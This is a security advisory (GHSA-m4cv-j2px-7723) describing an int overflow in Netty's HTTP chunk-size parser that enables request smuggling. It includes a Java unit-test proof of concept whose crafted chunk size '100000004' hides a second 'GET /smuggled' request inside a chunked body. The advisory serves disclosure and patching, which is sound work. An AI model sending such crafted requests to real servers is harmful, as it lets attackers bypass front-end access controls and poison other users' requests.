GHSA-m4cv-j2px-7723

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GHSA-m4cv-j2px-7723

Summary: Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Details: ### Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks. ### Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int. The size is accumulated as follows: result *= 16; result += digit; The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.US_ASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

References: https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723, https://nvd.nist.gov/vuln/detail/CVE-2026-42580, https://github.com/netty/netty